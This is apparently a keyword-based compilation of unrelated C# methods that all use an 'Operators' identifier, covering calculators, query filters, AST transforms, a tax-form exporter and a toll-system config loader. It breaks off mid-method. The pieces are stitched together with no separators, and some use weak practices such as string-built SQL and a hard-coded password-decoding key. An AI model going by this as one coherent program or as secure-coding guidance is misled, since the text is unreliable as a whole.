protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { ViewState.Clear(); this.result = 0; ViewState.Add("result", this.result); this.currentOperator = Operators.Plus; ViewState.Add("operator", this.currentOperator); ViewState.Add("currentNumber", string.Empty); } else { this.result = (decimal)ViewState["result"]; if (ViewState["operator"] != null) { this.currentOperator = (Operators)ViewState["operator"]; } if (ViewState["currentNumber"] != null) { this.currentNumber = (string)ViewState["currentNumber"]; } } }
public Condition(bool not, string key, Operators opt, params object[] values) { Key = key; Operate = opt; Values = values; Not = not; }
internal override MSAst.Expression TransformSet(AstGenerator ag, SourceSpan span, MSAst.Expression right, Operators op) { if (op == Operators.None) { return ag.AddDebugInfoAndVoid( Binders.Set( ag.BinderState, typeof(object), SymbolTable.IdToString(_name), ag.Transform(_target), right ), span ); } else { MSAst.ParameterExpression temp = ag.GetTemporary("inplace"); return ag.AddDebugInfo( Ast.Block( Ast.Assign(temp, ag.Transform(_target)), SetMemberOperator(ag, right, op, temp), Ast.Empty() ), Span.Start, span.End ); } }
public FloatCondition(string conditionVariable, Operators conditionOperator, float baseValue, bool absolute = false) { this.conditionVariable = conditionVariable; this.conditionOperator = conditionOperator; this.baseValue = baseValue; this.absolute = absolute; }
public Expression(Expression ex, Expression e2, Operators op) { Ex1 = ex; Ex2 = e2; Oper = op; IsValue = false; }
private static async void QuerySpecific(string field, object value, Operators op) { Console.WriteLine("Finding all the entries where {0} equals {1}...", field, value); var collection = database.GetCollection<BsonDocument>(collectionName); var builder = Builders<BsonDocument>.Filter; FilterDefinition<BsonDocument> filter = null; switch (op) { case Operators.Equals: default: filter = builder.Eq(field, value); break; case Operators.LessThan: filter = builder.Lt(field, value); break; case Operators.GreaterThan: filter = builder.Gt(field, value); break; case Operators.LessThanEqual: filter = builder.Lte(field, value); break; case Operators.GreaterThanEqual: filter = builder.Gte(field, value); break; } var result = await collection.Find(filter).ToListAsync(); Console.WriteLine("There are {0} entries.", result.Count); }
internal override MSAst.Expression TransformSet(AstGenerator ag, SourceSpan span, MSAst.Expression right, Operators op) { MSAst.Expression variable = _reference.Variable; MSAst.Expression assignment; Type vt = variable != null ? variable.Type : typeof(object); if (op != Operators.None) { right = Binders.Operation( ag.BinderState, vt, StandardOperators.FromOperator(op), Transform(ag, vt), right ); } if (variable != null) { assignment = AstUtils.Assign(variable, AstGenerator.ConvertIfNeeded(right, variable.Type)); } else { assignment = AstUtils.Assign(_name, right); } SourceSpan aspan = span.IsValid ? new SourceSpan(Span.Start, span.End) : SourceSpan.None; return ag.AddDebugInfoAndVoid(assignment, aspan); }
public Rule(Operators operand, string to, string operandOne, string operandTwo) { this.Operation = operand; this.To = to; this.First = operandOne; this.Second = operandTwo; }
public void DoOperation(Operators @operator, int operand) { Executor command = new Executor(_calculator, @operator, operand); command.Execute(); _index = _entries.Count; _index++; _entries.Add(command); }
public static string FromOperator(Operators op) { switch(op) { case Operators.Equals: return "Equal"; case Operators.NotEquals: return "NotEqual"; default: return op.ToString(); } }
internal override MSAst.Expression TransformSet(AstGenerator ag, SourceSpan span, MSAst.Expression right, Operators op) { if (Items.Length == 0) { ag.AddError("can't assign to ()", Span); return null; } return base.TransformSet(ag, span, right, op); }
private Operators GetOpposite(Operators @operator) { switch (@operator) { case Operators.Add: return Operators.Rest; case Operators.Rest: return Operators.Add; case Operators.Mult: return Operators.Div; default: return Operators.Mult; } }
private char GetSymbol(Operators @operator) { switch (@operator) { case Operators.Add: return '+'; case Operators.Rest: return '-'; case Operators.Mult: return '*'; default: return '/'; } }
private void BuildConditionFromXML(XmlElement xmlElement) { try { this.FieldName = xmlElement.GetAttribute("Field"); this.comparisionOperator = (Operators)Enum.Parse(typeof(Operators), xmlElement.GetAttribute("Operator")); this.strValue = xmlElement.GetAttribute("Value"); this.comparisionType = (ConditionComparisionType)Enum.Parse(typeof(ConditionComparisionType), xmlElement.GetAttribute("ComparisionType")); } catch { } }
internal FilterExpression(object left, object right, Operators op) { Left = left as FilterExpression; Right = right as FilterExpression; LeftColumn = left as Column; RightColumn = right as Column; Value = Right == null && ReferenceEquals(RightColumn, null) ? right : null; Operator = op; if (AndOr && (Left == null || Right == null)) // should never happen but just in case throw new Exception("All/Or expressions only act on two other FilterExpressions"); }
public JointConstraint( KinectWrapper.Joints joint_a, KinectWrapper.Joints joint_b, Relations relation, Operators operation, Vector3 val ) { this.joint_a = joint_a; this.joint_b = joint_b; this.relation = relation; this.operation = operation; this.val = val; }
public static bool IsAssigmentOperator(Operators Operator) { switch (Operator) { case Operators.AssignmentAddition: case Operators.AssignmentSubtraction: case Operators.AssignmentMultiplication: case Operators.AssignmentDivision: case Operators.Assignment: return true; } return false; }
public JointConstraint( KinectSkeleton ks, KinectSkeleton.Joints joint_a, KinectSkeleton.Joints joint_b, Relations relation, Operators operation, Vector3 val ) { this.ks = ks; this.joint_a = joint_a; this.joint_b = joint_b; this.relation = relation; this.operation = operation; this.val = val; }
static int _GetNumberOfChildrenFor(Operators symbol) { switch(symbol) { case Operators.Multiply: case Operators.Divide: case Operators.Plus: case Operators.Minus: return 2; case Operators.Sqrt: return 1; default: return 0; } }
public static int Calcuration(Operators o, int left, int right) { switch (o) { case Operators.Plus: return left + right; case Operators.Minus: return left - right; case Operators.Multiply: return left * right; case Operators.Divide: return left / right; default: return 0; } }
public void DoOperation(Operators @operator, int operand) { switch (@operator) { case Operators.Add: _total += operand; break; case Operators.Rest: _total -= operand; break; case Operators.Mult: _total *= operand; break; case Operators.Div: _total /= operand; break; } Console.WriteLine("Total: {0,3} \t{1} {2}", _total, GetSymbol(@operator), operand); }
private MSAst.Expression SetMemberOperator(AstGenerator ag, MSAst.Expression right, Operators op, MSAst.ParameterExpression temp) { return Binders.Set( ag.BinderState, typeof(object), SymbolTable.IdToString(_name), temp, Binders.Operation( ag.BinderState, typeof(object), StandardOperators.FromOperator(op), Binders.Get( ag.BinderState, typeof(object), SymbolTable.IdToString(_name), temp ), right ) ); }
public Variable Evaluate(Context sender, Variable left, Operators op, Variable right) { var log = sender.Root.Log; bool validating = sender.Root.Valid == BlockBase.Validation.Running; object l = left.Value, r = right.Value; switch (op) { case Operators.Add: if ((l is Date && r is TimeFrame)) { try { return new Variable((Date)l + (TimeFrame)r); } catch (ArgumentOutOfRangeException ex) { log.Error(ex.Message); } } return null; case Operators.Subtract: if ((l is Date && r is Date)) return new Variable((Date)l - (Date)r); if ((l is Date && r is TimeFrame)) { try { return new Variable((Date)l - (TimeFrame)r); } catch (ArgumentOutOfRangeException ex) { log.Error(ex.Message); } } return null; case Operators.More: if (l is Date && r is Date) return new Variable((Date)l > (Date)r); return null; case Operators.Less: if (l is Date && r is Date) return new Variable((Date)l < (Date)r); return null; } return null; }
//所有双目操作符按钮 private void OperatorButton_Click(object sender, RoutedEventArgs e) { if (FirstNumber.NumString.ToString() == "") { return; } IsEqualPress = false; IsFirstNum = false; if(FirstNumber.NumString.ToString().IndexOf("0",FirstNumber.NumString.ToString().Length-1)!=-1) { FirstNumber.NumString.Clear(); FirstNumber.NumString.Append("0"); } FirstNumber.Num = double.Parse(FirstNumber.NumString.ToString(),CultureInfo.InvariantCulture); Button button = sender as Button; switch (button.Content.ToString()) { case "+": opera = Operators.Add; break; case "-": opera = Operators.Sub; break; case "×": opera = Operators.Multi; break; case "÷": opera = Operators.Div; break; case "%": opera = Operators.Percent; break; default: opera = Operators.None; break; } }
public FilteredByMeasureSet(string name, Level lev, Member measure, Operators op, string value) : base(name, lev.Hierarchy) { if (lev.Hierarchy.UniqueName == "[Measures]") throw new Exception("Cannot create on measures hierarchy"); _operator = op; value = (value==null ? "" : value.Trim()); if (value.Length > 50) value = value.Substring(0, 50); decimal decVal=0; if (value.ToUpper() == "NULL") _value = "NULL"; else if (decimal.TryParse(value.Replace(",", "."), System.Globalization.NumberStyles.AllowDecimalPoint, System.Globalization.NumberFormatInfo.InvariantInfo, out decVal)) _value = decVal.ToString(System.Globalization.NumberFormatInfo.InvariantInfo); else _value="\"" + value + "\""; this.MdxParameters.Add(lev, true); this.MdxParameters.Add(measure, false); Initialize(name); }
public static void Main(string[] args) { IUnityContainer container = new UnityContainer(); UnityConfigurationSection section = (UnityConfigurationSection)ConfigurationManager.GetSection("unity"); section.Containers.Default.Configure(container); CMSCustomer customer = container.Resolve<CMSCustomer>(); Logs.Start(""); string sql = "DATE_PUBLISH = '" + String.Format("{0:dd-mm-yyyy}", DateTime.Now) + "' and PUBLISH_ACTIVE=1"; string[] fields = new string[] { "Date_publish", "Publish_active" }; object[] ids = new object[] { String.Format("{0:dd-MM-yyyy}", DateTime.Now), 1 }; Operators[] ops = new Operators[] { Operators.Eq, Operators.Eq }; List<Content> contents = HibernateHelper.SelectCommand<Content>(fields, ids, ops); if (contents.Count > 0) { for (int i = 0; i < contents.Count; i++) { Logs.WriteLine(string.Format("Inizio pubblicazione content {0} (ID={1}) (TYPE={2})", contents[i].Title, contents[i].Contentid, contents[i].Repository)); Pubblica(contents[i], customer); } } Logs.Dispose(); }
public void id2011Command(object sender, EventArgs e) { dsIdObrazac obrazac = new dsIdObrazac(); sp_id_detaljiDataAdapter adapter2 = new sp_id_detaljiDataAdapter(); sp_id_zaglavljeDataAdapter adapter3 = new sp_id_zaglavljeDataAdapter(); sp_id_detaljiDataSet dataSet = new sp_id_detaljiDataSet(); sp_id_zaglavljeDataSet set3 = new sp_id_zaglavljeDataSet(); SqlConnection connection = new SqlConnection(); string str2 = null; string str = null; connection.ConnectionString = Mipsed7.Core.ApplicationDatabaseInformation.ConnectionString; frmPregledMjeseciGodina godina = new frmPregledMjeseciGodina(); godina.ShowDialog(); if (godina.DialogResult != DialogResult.Cancel) { decimal num = 0; decimal num2 = 0; sPorezIprirezPremaOpciniGraduObracunatiPorez[] porezArray = null; decimal num3 = 0; if ((godina.OdabraniGodinaIsplate != null) & (godina.OdabraniMjesecIsplate != null)) { set3.Clear(); dataSet.Clear(); str2 = Conversions.ToString(godina.OdabraniMjesecIsplate); str = Conversions.ToString(godina.OdabraniGodinaIsplate); adapter3.Fill(set3, null, Conversions.ToString(godina.OdabraniMjesecIsplate), Conversions.ToString(godina.OdabraniGodinaIsplate), godina.Volonteri); adapter2.Fill(dataSet, null, Conversions.ToString(godina.OdabraniMjesecIsplate), Conversions.ToString(godina.OdabraniGodinaIsplate), godina.Volonteri); obrazac.Clear(); obrazac.Merge(dataSet.sp_id_detalji); obrazac.Merge(set3.sp_id_zaglavlje); } KORISNIKDataAdapter adapter = new KORISNIKDataAdapter(); KORISNIKDataSet set2 = new KORISNIKDataSet(); adapter.Fill(set2); sObrazacID o = new sObrazacID(); sIDmetapodaci dmetapodaci = new sIDmetapodaci(); dmetapodaci.Naslov = new sNaslovTemeljni(); dmetapodaci.Naslov.Value = "ID obrazac"; dmetapodaci.Naslov.dc = "http://purl.org/dc/elements/1.1/title"; dmetapodaci.Autor = new sAutorTemeljni(); dmetapodaci.Autor.Value = "VugerGRAD d.o.o."; dmetapodaci.Autor.dc = "http://purl.org/dc/elements/1.1/creator"; dmetapodaci.Datum = new sDatumTemeljni(); dmetapodaci.Datum.Value = DateAndTime.Now.ToString("s"); dmetapodaci.Datum.dc = "http://purl.org/dc/elements/1.1/date"; dmetapodaci.Format = new sFormatTemeljni(); dmetapodaci.Format.Value = PlacaExe.tFormat.textxml; dmetapodaci.Format.dc = "http://purl.org/dc/elements/1.1/format"; dmetapodaci.Jezik = new sJezikTemeljni(); dmetapodaci.Jezik.Value = PlacaExe.tJezik.hrHR; dmetapodaci.Jezik.dc = "http://purl.org/dc/elements/1.1/language"; dmetapodaci.Identifikator = new sIdentifikatorTemeljni(); dmetapodaci.Identifikator.Value = Guid.NewGuid().ToString(); //"dc0e2097-c43b-41f3-a095-dcf327268fad"; dmetapodaci.Identifikator.dc = "http://purl.org/dc/elements/1.1/identifier"; dmetapodaci.Uskladjenost = new sUskladjenost(); dmetapodaci.Uskladjenost.Value = "ObrazacID-v3-0"; dmetapodaci.Uskladjenost.dc = "http://purl.org/dc/terms/conformsTo"; dmetapodaci.Tip = new sTipTemeljni(); dmetapodaci.Tip.Value = PlacaExe.tTip.Elektroničkiobrazac; dmetapodaci.Tip.dc = "http://purl.org/dc/elements/1.1/type"; dmetapodaci.Adresant = new sAdresantTemeljni(); dmetapodaci.Adresant.Value = "Ministarstvo Financija, Porezna uprava, Zagreb"; o.verzijaSheme = "3.0"; o.Metapodaci = dmetapodaci; sZaglavlje zaglavlje = new sZaglavlje(); sZaglavljePodnositeljZahtjeva zahtjeva = new sZaglavljePodnositeljZahtjeva(); sAdresa adresa = new sAdresa(); sRazdoblje razdoblje = new sRazdoblje(); zahtjeva.Naziv = Conversions.ToString(set2.KORISNIK[0]["KORISNIK1NAZIV"]); zahtjeva.OIB = Conversions.ToString(set2.KORISNIK[0]["KORISNIKOIB"]); try { adresa.Ulica = set2.KORISNIK[0]["KORISNIK1ADRESA"].ToString().Replace(DB.IzvuciSamoBrojke(set2.KORISNIK[0]["KORISNIK1ADRESA"].ToString(), false), ""); } catch (Exception) { throw new Exception("Problem u izvlačenju brojčanog kućnog broja iz ulice!"); } adresa.Broj = DB.IzvuciSamoBrojke(set2.KORISNIK[0]["KORISNIK1ADRESA"].ToString(), false); adresa.Mjesto = Conversions.ToString(set2.KORISNIK[0]["KORISNIK1MJESTO"]); zahtjeva.Adresa = adresa; zaglavlje.PodnositeljZahtjeva = zahtjeva; zaglavlje.PodrucniUred = Conversions.ToString(set2.KORISNIK[0]["NADLEZNAPU"]); if (Operators.ConditionalCompareObjectEqual(obrazac.sp_id_zaglavlje[0]["identifikator"], 1, false)) { zaglavlje.Identifikator = sIdentifikator.Item1; } if (Operators.ConditionalCompareObjectEqual(obrazac.sp_id_zaglavlje[0]["identifikator"], 11, false)) { zaglavlje.Identifikator = sIdentifikator.Item12; } zaglavlje.Ispostava = Conversions.ToString(set2.KORISNIK[0]["BROJCANAOZNAKAPU"]); razdoblje.DatumOd = DateAndTime.DateSerial(Conversions.ToInteger(str), Conversions.ToInteger(str2), 1); razdoblje.DatumDo = DateAndTime.DateSerial(Conversions.ToInteger(str), Conversions.ToInteger(str2), DateTime.DaysInMonth(Conversions.ToInteger(str), Conversions.ToInteger(str2))); zaglavlje.Razdoblje = razdoblje; o.Zaglavlje = zaglavlje; sIsplaceniPrimiciIObracunPoreza poreza = new sIsplaceniPrimiciIObracunPoreza(); sTijelo tijelo = new sTijelo(); poreza.Podatak100 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_1"]), 2); poreza.Podatak200 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2"]), 2); poreza.Podatak210 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2_1_1"]), 2); poreza.Podatak220 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2_1_2"]), 2); poreza.Podatak230 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_2_1_3"]), 2); poreza.Podatak300 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_3"]), 2); poreza.Podatak400 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_4"]), 2); poreza.Podatak500 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_5"]), 2); poreza.Podatak600 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_6"]), 2); poreza.Podatak610 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_6_1"]), 2); poreza.Podatak620 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_6_2"]), 2); poreza.Podatak700 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_II_7"]), 2); poreza.Podatak800 = Conversions.ToString(obrazac.sp_id_zaglavlje[0]["REDAK_II_8"]); sDoprinosiUkupno ukupno = new sDoprinosiUkupno { Podatak110 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_1_1"]), 2), Podatak120 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_1_2"]), 2), Podatak210 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_2_1"]), 2), Podatak220 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_2_2"]), 2), Podatak310 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_3_1"]), 2), Podatak320 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_3_2"]), 2), Podatak330 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_3_3"]), 2), Podatak410 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_4_1"]), 2), Podatak420 = decimal.Round(Conversions.ToDecimal(obrazac.sp_id_zaglavlje[0]["REDAK_III_4_2"]), 2), Podatak500 = Conversions.ToString(obrazac.sp_id_zaglavlje[0]["REDAK_III_5"]) }; porezArray = (sPorezIprirezPremaOpciniGraduObracunatiPorez[])Utils.CopyArray((Array)porezArray, new sPorezIprirezPremaOpciniGraduObracunatiPorez[obrazac.sp_id_detalji.Rows.Count + 1]); int num5 = obrazac.sp_id_detalji.Rows.Count - 1; for (int i = 0; i <= num5; i++) { porezArray[i] = new sPorezIprirezPremaOpciniGraduObracunatiPorez(); sPorezIprirezPremaOpciniGraduObracunatiPorez porez = porezArray[i]; porez.Poreza = Conversions.ToDecimal(obrazac.sp_id_detalji.Rows[i]["obracunaniporez"]); num = Conversions.ToDecimal(Operators.AddObject(num, obrazac.sp_id_detalji.Rows[i]["obracunaniporez"])); porez.Prireza = Conversions.ToDecimal(obrazac.sp_id_detalji.Rows[i]["obracunaniprirez"]); num2 = Conversions.ToDecimal(Operators.AddObject(num2, obrazac.sp_id_detalji.Rows[i]["obracunaniprirez"])); porez.Ukupno = Conversions.ToDecimal(obrazac.sp_id_detalji.Rows[i]["obracunanoukupno"]); num3 = Conversions.ToDecimal(Operators.AddObject(num3, obrazac.sp_id_detalji.Rows[i]["obracunanoukupno"])); porez.Sifra = Conversions.ToString(obrazac.sp_id_detalji.Rows[i]["idopcine"]); porez = null; } sUkupno ukupno2 = new sUkupno { Poreza = num, Prireza = num2, Ukupno = num3 }; tijelo.IsplaceniPrimiciIObracunPoreza = poreza; tijelo.DoprinosiUkupno = ukupno; tijelo.ObracunatiPorezi = porezArray; tijelo.Ukupno = ukupno2; o.Tijelo = tijelo; try { SaveFileDialog dialog2 = new SaveFileDialog { InitialDirectory = Conversions.ToString(0), FileName = "ID-" + str + "-" + str2 + ".xml", RestoreDirectory = true }; SaveFileDialog dialog = dialog2; if (dialog.ShowDialog() == DialogResult.OK) { using (TextWriter writer = new StreamWriter(dialog.FileName)) { XmlSerializerNamespaces namespaces = new XmlSerializerNamespaces(); namespaces.Add("", "http://e-porezna.porezna-uprava.hr/sheme/zahtjevi/ObrazacID/v3-0"); new XmlSerializer(typeof(sObrazacID), "http://e-porezna.porezna-uprava.hr/sheme/zahtjevi/ObrazacID/v3-0").Serialize(writer, o, namespaces); writer.Close(); } Interaction.MsgBox("Datoteka uspješno spremljena u: " + dialog.FileName, MsgBoxStyle.OkOnly, null); } } catch (System.Exception exception1) { throw exception1; } } }
public void AddOperator(IOperator @operator) { Operators.Add(@operator.Name, @operator); }
private bool method_12(GClass6.GClass13 gclass13_0) { return Operators.CompareString(gclass13_0.method_0(), bot_0.string_0, false) == 0; }
private void frmConfig_Load(object sender, EventArgs e) { this.Config = new ProcessXML("TollcabinConfig.xml"); try { this.LocalDatabase = this.Config.XmlNodeValue("Catalog", "Database", ""); this.LocalUserName = this.Config.XmlNodeValue("Login", "Database", ""); this.LocalPassWord = this.Config.XmlNodeValue("Password", "Database", ""); Encryption.Encryption.Decode("ITVVA", ref this.LocalUserName, this.LocalUserName); Encryption.Encryption.Decode("ITVVA", ref this.LocalPassWord, this.LocalPassWord); this.IPMayGiamSat = this.Config.XmlNodeValue("MayGiamSat", "Connect", ""); this.IPMayNhanDang = this.Config.XmlNodeValue("NhanDangBienSo", "Connect", ""); this.LocalImagesPath = this.Config.XmlNodeValue("LocalImagesPath", "Connect", ""); this.ServerImagesPath = this.Config.XmlNodeValue("ServerImagesPath", "Connect", ""); this.ServerImagesPathBS = this.Config.XmlNodeValue("ServerImagesPathBS", "Connect", ""); this.PortDuLieuChinh = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortDuLieuChinh", "Connect", ""))); this.PortDuLieuCu = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortDuLieuCu", "Connect", ""))); this.PortTroGiup = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortTroGiup", "Connect", ""))); this.PortMayNhanDangBienSo = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("PortMayNhanDangBienSo", "Connect", ""))); this.Cabin = Conversions.ToString(int.Parse(this.Config.XmlNodeValue("CabinID", "General", ""))); this.IdTram = int.Parse(this.Config.XmlNodeValue("TramId", "General", "")); this.Status = int.Parse(this.Config.XmlNodeValue("Status", "General", "")); this.Instance = this.Config.XmlNodeValue("Instance", "Database", ""); this.ServerDatabase = this.Config.XmlNodeValue("DatabaseServer", "SQLReplication", ""); this.ServerName = this.Config.XmlNodeValue("Server", "SQLReplication", ""); this.ServerSqlUser = this.Config.XmlNodeValue("UserServer", "SQLReplication", ""); Encryption.Encryption.Decode("ITVVA", ref this.ServerSqlUser, this.ServerSqlUser); this.ServerSqlPassword = this.Config.XmlNodeValue("PasswordServer", "SQLReplication", ""); Encryption.Encryption.Decode("ITVVA", ref this.ServerSqlPassword, this.ServerSqlPassword); this.ServerPublication = this.Config.XmlNodeValue("Publication", "SQLReplication", ""); this.ComPortBangDien = this.Config.XmlNodeValue("ComPortBangDien", "NewInfo", ""); this.ComPortBanPhim = this.Config.XmlNodeValue("ComPortBanPhim", "NewInfo", ""); this.ComPortDieuKhien = this.Config.XmlNodeValue("ComPortDieuKhien", "NewInfo", ""); this.ComPortDauDoc = this.Config.XmlNodeValue("ComPortDauDoc", "NewInfo", ""); this.DVRchanel = Conversions.ToInteger(this.Config.XmlNodeValue("DVRChanel", "NewInfo", "")); this.IPDauGhiHinh = this.Config.XmlNodeValue("videoCard", "NewInfo", ""); this.DauDocMaVach = Conversions.ToInteger(this.Config.XmlNodeValue("TenDauDoc", "NewInfo", "0")); if (Operators.CompareString(this.Config.XmlNodeValue("TinhNangThoai", "NewInfo", "0"), "0", false) != 0) { this.cbTinhNangThoai.Checked = true; } else { this.cbTinhNangThoai.Checked = false; } this.cbbbangDien.Text = this.ComPortBangDien; this.cbbComportNameKeyboard.Text = this.ComPortBanPhim; this.cbbComportNameController.Text = this.ComPortDieuKhien; this.cbbComportNameTicket.Text = this.ComPortDauDoc; this.tbServerName.Text = this.ServerName; this.tbServerSqlUser.Text = this.ServerSqlUser; this.tbServerSqlPassword.Text = this.ServerSqlPassword; this.tbServerDatabaseName.Text = this.ServerDatabase; this.tbPublicationName.Text = this.ServerPublication; this.tbLocalDatabase.Text = this.LocalDatabase; this.tbLocalSqlUser.Text = this.LocalUserName; this.tbLocalSqlPassword.Text = this.LocalPassWord; this.tbComputerWatch.Text = this.IPMayGiamSat; this.tbComputerRecognize.Text = this.IPMayNhanDang; this.tbServerFolderImage.Text = this.ServerImagesPath; this.tbServerFolderPlateImage.Text = this.ServerImagesPathBS; this.tbPortMain.Text = this.PortDuLieuChinh; this.tbPortSub.Text = this.PortDuLieuCu; this.tbPortRecognize.Text = this.PortMayNhanDangBienSo; this.tbLane.Text = this.Cabin; this.cbbCodeTram.Text = Conversions.ToString(this.IdTram); this.tbLocalInstance.Text = this.Instance; this.cbbPropertyLane.SelectedIndex = this.Status; this.tbLocalFolderlImage.Text = this.LocalImagesPath; this.cbbDauDoc.SelectedIndex = this.DauDocMaVach; this.tbIpDauGhi.Text = this.IPDauGhiHinh; if (this.DVRchanel >= 0) { this.cb0.Checked = (((long)this.DVRchanel & 1L) != 0L); this.cb1.Checked = (((long)this.DVRchanel & 2L) != 0L); this.cb2.Checked = (((long)this.DVRchanel & 4L) != 0L); this.cb3.Checked = (((long)this.DVRchanel & 8L) != 0L); this.cb4.Checked = (((long)this.DVRchanel & 16L) != 0L); this.cb5.Checked = (((long)this.DVRchanel & 32L) != 0L); this.cb6.Checked = (((long)this.DVRchanel & 64L) != 0L); this.cb7.Checked = (((long)this.DVRchanel & 128L) != 0L); this.cb8.Checked = (((long)this.DVRchanel & 256L) != 0L); this.cb9.Checked = (((long)this.DVRchanel & 512L) != 0L); this.cb10.Checked = (((long)this.DVRchanel & 1024L) != 0L); this.cb11.Checked = (((long)this.DVRchanel & 2048L) != 0L); this.cb12.Checked = (((long)this.DVRchanel & 4096L) != 0L); this.cb13.Checked = (((long)this.DVRchanel & 8192L) != 0L); this.cb14.Checked = (((long)this.DVRchanel & 16384L) != 0L); this.cb15.Checked = (((long)this.DVRchanel & 32768L) != 0L); } } catch (Exception expr_7F8) { ProjectData.SetProjectError(expr_7F8); MessageBox.Show("Có lỗi trong quá trình đọc thông tin cấu hình", "Thông báo.", MessageBoxButtons.OK, MessageBoxIcon.Hand); ProjectData.ClearProjectError(); } }
public Operator OperatorByName(string name) { return(Operators.Where(o => o.Name == name).FirstOrDefault()); }
internal override object Evaluate(object leftValue, object rightValue) { switch (operation) { case Operations.Xor: return(Convert.ObjectToBoolean(leftValue) ^ Convert.ObjectToBoolean(rightValue)); case Operations.Or: return(Convert.ObjectToBoolean(leftValue) || Convert.ObjectToBoolean(rightValue)); case Operations.And: return(Convert.ObjectToBoolean(leftValue) && Convert.ObjectToBoolean(rightValue)); case Operations.BitOr: return(Operators.BitOperation(leftValue, rightValue, Operators.BitOp.Or)); case Operations.BitXor: return(Operators.BitOperation(leftValue, rightValue, Operators.BitOp.Xor)); case Operations.BitAnd: return(Operators.BitOperation(leftValue, rightValue, Operators.BitOp.And)); case Operations.Equal: return(PhpComparer./*Default.*/ CompareEq(leftValue, rightValue)); case Operations.NotEqual: return(!PhpComparer./*Default.*/ CompareEq(leftValue, rightValue)); case Operations.Identical: return(Operators.StrictEquality(leftValue, rightValue)); case Operations.NotIdentical: return(!Operators.StrictEquality(leftValue, rightValue)); case Operations.LessThan: return(PhpComparer.Default.Compare(leftValue, rightValue) < 0); case Operations.GreaterThan: return(PhpComparer.Default.Compare(leftValue, rightValue) > 0); case Operations.LessThanOrEqual: return(PhpComparer.Default.Compare(leftValue, rightValue) <= 0); case Operations.GreaterThanOrEqual: return(PhpComparer.Default.Compare(leftValue, rightValue) >= 0); case Operations.ShiftRight: return(Operators.ShiftRight(leftValue, rightValue)); // int case Operations.ShiftLeft: return(Operators.ShiftLeft(leftValue, rightValue)); // int case Operations.Add: return(Operators.Add(leftValue, rightValue)); case Operations.Sub: return(Operators.Subtract(leftValue, rightValue)); case Operations.Mul: return(Operators.Multiply(leftValue, rightValue)); case Operations.Div: return(Operators.Divide(leftValue, rightValue)); case Operations.Mod: return(Operators.Remainder(leftValue, rightValue)); case Operations.Concat: return(Operators.Concat(leftValue, rightValue)); default: throw null; } }
private void LogBtnCommandExecute(FunctionAndOperatorCommandParameter commandParameter) { if (!_isShiftEnabled) { string leftParenthesisOperatorText = Operators.GetOperatorText(OperatorType.LeftParenthesis); if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.EqualBtnPressed) { SeriesOfComputerTextBoxValue = string.Empty; } if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.AnsBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.EFunctionBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.ModOperatorBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.FactOperatorBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.SquareOfXNumberBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.RightParenthesisBtnPressed) { string mulOperatorText = Operators.GetOperatorText(OperatorType.Multiplication); _calculatorStorageService.AddOperatorToStack(mulOperatorText, OperatorType.Multiplication); SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {mulOperatorText}"; } _calculatorStorageService.AddLeftParenthesisOperatorToStack(leftParenthesisOperatorText); _calculatorStorageService.AddFunctionToStack(commandParameter.FunctionText); SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {commandParameter.FunctionText} {leftParenthesisOperatorText}"; NumberTextBoxValue = default(int).ToString(); _calculatorStorageService.SetLastUserInteractionType(commandParameter.FunctionUserInteractionType); } else { const int TEN_NUMBER_VALUE = default(int) + 10; if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.EqualBtnPressed) { SeriesOfComputerTextBoxValue = string.Empty; } if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.AnsBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.EFunctionBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.ModOperatorBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.FactOperatorBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.SquareOfXNumberBtnPressed || _calculatorStorageService.LastUserInteractionType == UserInteractionType.RightParenthesisBtnPressed) { string mulOperatorText = Operators.GetOperatorText(OperatorType.Multiplication); 